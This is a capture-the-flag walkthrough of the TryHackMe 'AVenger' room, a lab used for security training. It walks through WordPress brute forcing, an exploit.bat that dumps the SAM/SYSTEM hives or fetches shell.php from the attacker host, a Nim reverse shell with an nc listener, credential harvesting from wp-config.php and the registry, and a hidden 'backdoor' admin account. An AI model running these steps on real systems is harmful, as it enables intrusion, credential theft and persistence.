> For the complete documentation index, see [llms.txt](https://jeffgthompsons-organization.gitbook.io/red-team/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://jeffgthompsons-organization.gitbook.io/red-team/walkthroughs/tryhackme/avenger.md).

# AVenger

**Room Link:** <https://tryhackme.com/r/room/avenger>

**Scans**

Initial scan

**Kali**

```
nmap -A $VICTIM
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2Fe20iIKHs7AKRgKi8lEG7%2Fimage.png?alt=media&amp;token=a8e1ca54-8ffe-4619-8d4e-313eae137bd5" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FrHVEhthALGxxSScG0pvO%2Fimage.png?alt=media&amp;token=2a994778-5ec6-4b8c-9fc5-f0831ce43013" alt=""><figcaption></figcaption></figure>

Longer scan

**Kali**

```
nmap -sV -sT -O -p 1-65535 $VICTIM
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2F7BYh1U69e0hTxci5XmES%2Fimage.png?alt=media&amp;token=2aaab50c-d76c-4639-a254-6e4ca17b5e3f" alt=""><figcaption></figcaption></figure>

### **TCP/80 - HTTP** <a href="#tcp-80-http" id="tcp-80-http"></a>

**Find Pages**

There were too many 404 and 403 in the scan so I changed to ffuf to ignore them.

**Kali**

```
gobuster dir -u http://$VICTIM -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,html,txt
```

**Kali**

```
ffuf -u http://$VICTIM/FUZZ -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -fc 404,403 -e .php,.html,.txt
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2F9b5q7kKFRTXS4L8gd5tD%2Fimage.png?alt=media&amp;token=02700037-003a-4311-94c8-79aca74aeed9" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2F7CwJyVtBBuPFaFVndUCj%2Fimage.png?alt=media&amp;token=a2bc3e30-c52d-487e-b457-64f1780f1473" alt=""><figcaption></figcaption></figure>

The gift folder takes us to avenger.tryhackme

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FfhnJRgOd4Flp7hUOb76k%2Fimage.png?alt=media&amp;token=8d560e6c-23ab-49f7-a711-28308b6badac" alt=""><figcaption></figcaption></figure>

**Add hostname to host file**

**Kali**

```
echo $VICTIM avenger.tryhackme  >> /etc/hosts
cat /etc/hosts
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FRHmD9kjsmTRn4ErcqA3E%2Fimage.png?alt=media&amp;token=b81053ef-ecd4-4bb8-9989-f733e5c73543" alt=""><figcaption></figcaption></figure>

**Kali**

```
ffuf -u http://avenger.tryhackme/gift/FUZZ -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -fc 404,403 -e .php,.html,.txt
```

**Kali**

```
 wpscan --url http://avenger.tryhackme/gift --enumerate p
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2F5yKMMv7xZQRwloXhcg97%2Fimage.png?alt=media&amp;token=d270fc11-80fa-4921-9165-eae1afd5d1a8" alt=""><figcaption></figcaption></figure>

**Bruteforce admin page**

**Kali**

```
wpscan --url http://avenger.tryhackme/gift --passwords /usr/share/wordlists/rockyou.txt
```

## Initial Shell

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FRNLOxt6ygCcw6CqJEmAa%2Fimage.png?alt=media&amp;token=a67e2c1e-f087-4eec-a765-d69ba86cdd13" alt=""><figcaption></figcaption></figure>

**Kali**

```
git clone https://github.com/flozz/p0wny-shell.git
cd p0wny-shell/ 
subl exploit.bat
```

**exploit.bat**

<pre><code><strong>@echo off
</strong>
:: Check if the current user is NT AUTHORITY\SYSTEM
whoami /groups | find "S-1-5-18" > nul

if %errorlevel% equ 0 (
    :: Run commands for NT AUTHORITY\SYSTEM
    reg.exe save HKLM\SYSTEM C:\xampp\htdocs\system.bak
    reg.exe save HKLM\SAM C:\xampp\htdocs\sam.bak
) else (
    :: Run commands for other users
    curl http://$KALI:82/shell.php -o C:\xampp\htdocs\shell.php
)
</code></pre>

I tried bypassing the file type restriction with the shell above, I could see the bat file running by seeing that it try to grab the shell.php file but I couldn't find a place to save the file where I could also see it on the website.

**Kali**

```
python2 -m SimpleHTTPServer 82
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FbrjxC6VU4zGtomMpnA3s%2Fimage.png?alt=media&amp;token=5e090d7d-f484-4d20-83ec-4d3a3a8598e4" alt=""><figcaption></figcaption></figure>

Nim reverse shell worked because they accept exe files&#x20;

**Kali**

<pre><code>git clone https://github.com/Sn1r/Nim-Reverse-Shell.git
cd Nim-Reverse-Shell/
<strong>apt install mingw-w64 -y
</strong></code></pre>

**Kali**

```
curl https://nim-lang.org/choosenim/init.sh -sSf | sh
```

**Kali**

```
subl rev_shell.nim
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FKQc6XgwqWwdYcaU4mEsX%2Fimage.png?alt=media&amp;token=5413ee58-9b67-4bcb-a732-23b1b13d5d79" alt=""><figcaption></figcaption></figure>

**Kali #1**

```
/root/.nimble/bin/nim c -d:mingw  --app:gui --opt:speed -o:Calculator.exe rev_shell.nim
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FvQn1bEce5kxvqzpYIAeG%2Fimage.png?alt=media&amp;token=4d3e70d7-c42e-4165-a206-46ac1eb6c729" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2Ftsm2zkHjLhK1Hc7kyPfE%2Fimage.png?alt=media&amp;token=4929b8b1-cfbe-43a4-92d6-bd2602e084ee" alt=""><figcaption></figcaption></figure>

**Kali #2**

```
rlwrap nc -lvnp 443
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2F3diWFE2XObG1o0wrPlXg%2Fimage.png?alt=media&amp;token=d0d4e723-dc76-454b-9101-daf11ba3ef50" alt=""><figcaption></figcaption></figure>

## **Privilege Esclation**&#x20;

Found some credentials.

**Victim**

```
type C:\xampp\htdocs\gift\wp-config.php
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FEaJznlouhLTfdM8jUyWG%2Fimage.png?alt=media&amp;token=c71d24e5-04c7-4425-b9b0-e9a40a6dbfb9" alt=""><figcaption></figcaption></figure>

From my computer I could access the mysql.

**Kali**

```
apt install mysql-client-core-5.7   
mysql -h$VICTIM -ugift -pSurpriseMF
```

I was able to find a password but couldn't crack it&#x20;

**Kali(mysql)**

```
select * from mysql -h$VICTIM -ugift -pSurpriseMF
use gift;
show tables;
select * from wp_users;
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FGsZrduBMhQ7eQRxz2WvO%2Fimage.png?alt=media&amp;token=197a4def-7a72-4e61-8400-8c828afb96d7" alt=""><figcaption></figcaption></figure>

I found a password

**Victim**

```
reg query HKLM /f password /t REG_SZ /s
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FCFIeDweDHQTmLBpXJMDk%2Fimage.png?alt=media&amp;token=b86cf08a-4238-48b3-95ab-29b36558c6fb" alt=""><figcaption></figcaption></figure>

**Kali**

```
remmina
Username: hugo
Password: SurpriseMF123!
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FJOKiet64FK1YUzh7IdYz%2Fimage.png?alt=media&amp;token=f23f2fb8-448f-4954-aed0-35b0ff74e262" alt=""><figcaption></figcaption></figure>

I can run a administrator shell from the GUI

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FHlJZFDgGfCe9YLocRFsa%2Fimage.png?alt=media&amp;token=0e6eb0e1-bfd5-4bb8-9aa9-37370a538857" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FT5RRXNaPgReZzmvaSjip%2Fimage.png?alt=media&amp;token=1f475d4c-5165-461e-8b10-d5beff32788b" alt=""><figcaption></figcaption></figure>

**Victim**

```
net user backdoor pass!123 /add
net localgroup Administrators "Remote Desktop Users"  backdoor /add
reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v forceguest /t reg_dword /d 0 /f
```

**Kali**

```
remmina
Username: backdoor 
Password: pass!123
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FLjoBEKH2Dx175L0iBPBZ%2Fimage.png?alt=media&amp;token=b37cbc10-179f-4a8d-a91a-2a33cb9cd8f8" alt=""><figcaption></figcaption></figure>
